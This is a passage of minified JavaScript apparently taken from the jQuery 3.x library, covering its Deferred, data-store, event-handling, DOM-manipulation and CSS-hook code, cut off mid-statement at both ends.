n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=k.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(W(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)W(i[t],a(t),o.reject);return o.promise()}});var $=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;k.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&$.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},k.readyException=function(e){C.setTimeout(function(){throw e})};var F=k.Deferred();function B(){E.removeEventListener("DOMContentLoaded",B),C.removeEventListener("load",B),k.ready()}k.fn.ready=function(e){return F.then(e)["catch"](function(e){k.readyException(e)}),this},k.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--k.readyWait:k.isReady)||(k.isReady=!0)!==e&&0<--k.readyWait||F.resolveWith(E,[k])}}),k.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(k.ready):(E.addEventListener("DOMContentLoaded",B),C.addEventListener("load",B));var _=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)_(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(k(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},z=/^-ms-/,U=/-([a-z])/g;function X(e,t){return t.toUpperCase()}function V(e){return e.replace(z,"ms-").replace(U,X)}var G=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Y(){this.expando=k.expando+Y.uid++}Y.uid=1,Y.prototype={cache:function(e){var t=e[this.expando];return t||(t={},G(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[V(t)]=n;else for(r in t)i[V(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][V(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(V):(t=V(t))in r?[t]:t.match(R)||[]).length;while(n--)delete r[t[n]]}(void 0===t||k.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!k.isEmptyObject(t)}};var Q=new Y,J=new Y,K=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Z=/[A-Z]/g;function ee(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(Z,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:K.test(i)?JSON.parse(i):i)}catch(e){}J.set(e,t,n)}else n=void 0;return n}k.extend({hasData:function(e){return J.hasData(e)||Q.hasData(e)},data:function(e,t,n){return J.access(e,t,n)},removeData:function(e,t){J.remove(e,t)},_data:function(e,t,n){return Q.access(e,t,n)},_removeData:function(e,t){Q.remove(e,t)}}),k.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=J.get(o),1===o.nodeType&&!Q.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=V(r.slice(5)),ee(o,r,i[r]));Q.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){J.set(this,n)}):_(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=J.get(o,n))?t:void 0!==(t=ee(o,n))?t:void 0;this.each(function(){J.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){J.remove(this,e)})}}),k.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Q.get(e,t),n&&(!r||Array.isArray(n)?r=Q.access(e,t,k.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=k.queue(e,t),r=n.length,i=n.shift(),o=k._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){k.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Q.get(e,n)||Q.access(e,n,{empty:k.Callbacks("once memory").add(function(){Q.remove(e,[t+"queue",n])})})}}),k.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?k.queue(this[0],t):void 0===n?this:this.each(function(){var e=k.queue(this,t,n);k._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&k.dequeue(this,t)})},dequeue:function(e){return this.each(function(){k.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=k.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Q.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var te=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ne=new RegExp("^(?:([+-])=|)("+te+")([a-z%]*)$","i"),re=["Top","Right","Bottom","Left"],ie=E.documentElement,oe=function(e){return k.contains(e.ownerDocument,e)},ae={composed:!0};ie.getRootNode&&(oe=function(e){return k.contains(e.ownerDocument,e)||e.getRootNode(ae)===e.ownerDocument});var se=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&oe(e)&&"none"===k.css(e,"display")},ue=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];for(o in i=n.apply(e,r||[]),t)e.style[o]=a[o];return i};function le(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return k.css(e,t,"")},u=s(),l=n&&n[3]||(k.cssNumber[t]?"":"px"),c=e.nodeType&&(k.cssNumber[t]||"px"!==l&&+u)&&ne.exec(k.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)k.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,k.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ce={};function fe(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Q.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&se(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ce[s])||(o=a.body.appendChild(a.createElement(s)),u=k.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ce[s]=u)))):"none"!==n&&(l[c]="none",Q.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}k.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){se(this)?k(this).show():k(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?k.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Q.set(e[n],"globalEval",!t||Q.get(t[n],"globalEval"))}ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;var me,xe,be=/<|&#?\w+;/;function we(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))k.merge(p,o.nodeType?[o]:o);else if(be.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+k.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;k.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<k.inArray(o,r))i&&i.push(o);else if(l=oe(o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}me=E.createDocumentFragment().appendChild(E.createElement("div")),(xe=E.createElement("input")).setAttribute("type","radio"),xe.setAttribute("checked","checked"),xe.setAttribute("name","t"),me.appendChild(xe),y.checkClone=me.cloneNode(!0).cloneNode(!0).lastChild.checked,me.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!me.cloneNode(!0).lastChild.defaultValue;var Te=/^key/,Ce=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ee=/^([^.]*)(?:\.(.+)|)/;function ke(){return!0}function Se(){return!1}function Ne(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ae(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ae(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Se;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return k().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=k.guid++)),e.each(function(){k.event.add(this,t,i,r,n)})}function De(e,i,o){o?(Q.set(e,i,!1),k.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Q.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(k.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Q.set(this,i,r),t=o(this,i),this[i](),r!==(n=Q.get(this,i))||t?Q.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n.value}else r.length&&(Q.set(this,i,{value:k.event.trigger(k.extend(r[0],k.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Q.get(e,i)&&k.event.add(e,i,ke)}k.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.get(t);if(v){n.handler&&(n=(o=n).handler,i=o.selector),i&&k.find.matchesSelector(ie,i),n.guid||(n.guid=k.guid++),(u=v.events)||(u=v.events={}),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof k&&k.event.triggered!==e.type?k.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(R)||[""]).length;while(l--)d=g=(s=Ee.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=k.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=k.event.special[d]||{},c=k.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&k.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),k.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.hasData(e)&&Q.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(R)||[""]).length;while(l--)if(d=g=(s=Ee.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=k.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||k.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)k.event.remove(e,d+t[l],n,r,!0);k.isEmptyObject(u)&&Q.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=k.event.fix(e),u=new Array(arguments.length),l=(Q.get(this,"events")||{})[s.type]||[],c=k.event.special[s.type]||{};for(u[0]=s,t=1;t<arguments.length;t++)u[t]=arguments[t];if(s.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,s)){a=k.event.handlers.call(this,s,l),t=0;while((i=a[t++])&&!s.isPropagationStopped()){s.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!s.isImmediatePropagationStopped())s.rnamespace&&!1!==o.namespace&&!s.rnamespace.test(o.namespace)||(s.handleObj=o,s.data=o.data,void 0!==(r=((k.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,u))&&!1===(s.result=r)&&(s.preventDefault(),s.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,s),s.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<k(i,this).index(l):k.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(k.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[k.expando]?e:new k.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&De(t,"click",ke),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&De(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Q.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},k.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},k.Event=function(e,t){if(!(this instanceof k.Event))return new k.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?ke:Se,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&k.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[k.expando]=!0},k.Event.prototype={constructor:k.Event,isDefaultPrevented:Se,isPropagationStopped:Se,isImmediatePropagationStopped:Se,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=ke,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=ke,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=ke,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},k.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&Te.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Ce.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},k.event.addProp),k.each({focus:"focusin",blur:"focusout"},function(e,t){k.event.special[e]={setup:function(){return De(this,e,Ne),!1},trigger:function(){return De(this,e),!0},delegateType:t}}),k.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){k.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||k.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),k.fn.extend({on:function(e,t,n,r){return Ae(this,e,t,n,r)},one:function(e,t,n,r){return Ae(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,k(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Se),this.each(function(){k.event.remove(this,e,n,t)})}});var je=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,qe=/<script|<style|<link/i,Le=/checked\s*(?:[^=]|=\s*.checked.)/i,He=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Oe(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&k(e).children("tbody")[0]||e}function Pe(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Re(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Me(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(Q.hasData(e)&&(o=Q.access(e),a=Q.set(t,o),l=o.events))for(i in delete a.handle,a.events={},l)for(n=0,r=l[i].length;n<r;n++)k.event.add(t,i,l[i][n]);J.hasData(e)&&(s=J.access(e),u=k.extend({},s),J.set(t,u))}}function Ie(n,r,i,o){r=g.apply([],r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!y.checkClone&&Le.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),Ie(t,r,i,o)});if(f&&(t=(e=we(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=k.map(ve(e,"script"),Pe)).length;c<f;c++)u=e,c!==p&&(u=k.clone(u,!0,!0),s&&k.merge(a,ve(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,k.map(a,Re),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Q.access(u,"globalEval")&&k.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?k._evalUrl&&!u.noModule&&k._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")}):b(u.textContent.replace(He,""),u,l))}return n}function We(e,t,n){for(var r,i=t?k.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||k.cleanData(ve(r)),r.parentNode&&(n&&oe(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}k.extend({htmlPrefilter:function(e){return e.replace(je,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=oe(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||k.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Me(o[r],a[r]);else Me(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=k.event.special,o=0;void 0!==(n=e[o]);o++)if(G(n)){if(t=n[Q.expando]){if(t.events)for(r in t.events)i[r]?k.event.remove(n,r):k.removeEvent(n,r,t.handle);n[Q.expando]=void 0}n[J.expando]&&(n[J.expando]=void 0)}}}),k.fn.extend({detach:function(e){return We(this,e,!0)},remove:function(e){return We(this,e)},text:function(e){return _(this,function(e){return void 0===e?k.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Ie(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Oe(this,e).appendChild(e)})},prepend:function(){return Ie(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Oe(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Ie(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Ie(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(k.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return k.clone(this,e,t)})},html:function(e){return _(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!qe.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=k.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(k.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Ie(this,arguments,function(e){var t=this.parentNode;k.inArray(this,n)<0&&(k.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),k.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){k.fn[e]=function(e){for(var t,n=[],r=k(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),k(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var $e=new RegExp("^("+te+")(?!px)[a-z%]+$","i"),Fe=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},Be=new RegExp(re.join("|"),"i");function _e(e,t,n){var r,i,o,a,s=e.style;return(n=n||Fe(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||oe(e)||(a=k.style(e,t)),!y.pixelBoxStyles()&&$e.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function ze(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(u){s.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",u.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",ie.appendChild(s).appendChild(u);var e=C.getComputedStyle(u);n="1%"!==e.top,a=12===t(e.marginLeft),u.style.right="60%",o=36===t(e.right),r=36===t(e.width),u.style.position="absolute",i=12===t(u.offsetWidth/3),ie.removeChild(s),u=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s=E.createElement("div"),u=E.createElement("div");u.style&&(u.style.backgroundClip="content-box",u.cloneNode(!0).style.backgroundClip="",y.clearCloneStyle="content-box"===u.style.backgroundClip,k.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),a},scrollboxSize:function(){return e(),i}}))}();var Ue=["Webkit","Moz","ms"],Xe=E.createElement("div").style,Ve={};function Ge(e){var t=k.cssProps[e]||Ve[e];return t||(e in Xe?e:Ve[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Ue.length;while(n--)if((e=Ue[n]+t)in Xe)return e}(e)||e)}var Ye=/^(none|table(?!-c[ea]).+)/,Qe=/^--/,Je={position:"absolute",visibility:"hidden",display:"block"},Ke={letterSpacing:"0",fontWeight:"400"};function Ze(e,t,n){var r=ne.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function et(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=k.css(e,n+re[a],!0,i)),r?("content"===n&&(u-=k.css(e,"padding"+re[a],!0,i)),"margin"!==n&&(u-=k.css(e,"border"+re[a]+"Width",!0,i))):(u+=k.css(e,"padding"+re[a],!0,i),"padding"!==n?u+=k.css(e,"border"+re[a]+"Width",!0,i):s+=k.css(e,"border"+re[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function tt(e,t,n){var r=Fe(e),i=(!y.boxSizingReliable()||n)&&"border-box"===k.css(e,"boxSizing",!1,r),o=i,a=_e(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if($e.test(a)){if(!n)return a;a="auto"}return(!y.boxSizingReliable()&&i||"auto"===a||!parseFloat(a)&&"inline"===k.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===k.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+et(e,t,n||(i?"border":"content"),o,r,a)+"px"}function nt(e,t,n,r,i){return new nt.prototype.init(e,t,n,r,i)}k.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=_e(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=V(t),u=Qe.test(t),l=e.style;if(u||(t=Ge(s)),a=k.cssHooks[t]||k.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=ne.exec(n))&&i[1]&&(n=le(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(k.cssNumber[s]?"":"px")),y.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=V(t);return Qe.test(t)||(t=Ge(s)),(a=k.cssHooks[t]||k.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=_e(e,t,r)),"normal"===i&&t in Ke&&(i=Ke[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),k.each(["height","width"],function(e,u){k.cssHooks[u]={get:function(e,t,n){if(t)return!Ye.test(k.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?tt(e,u,n):ue(e,Je,function(){return tt(e,u,n)})},set:function(e,t,n){var r,i=Fe(e),o=!y.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===k.css(e,"boxSizing",!1,i),s=n?et(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-et(e,u,"border",!1,i)-.5)),s&&(r=ne.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=k.css(e,u)),Ze(0,t,s)}}}),k.cssHooks.marginLeft=ze(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(_e(e,"marginLeft"))||e.getBoundingClientRect().left-ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),k.each({margin:"",padding:"",border:"Width"},function(i,o){k.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+re[t]+o]=r[t]||r[t-2]||r[0];return 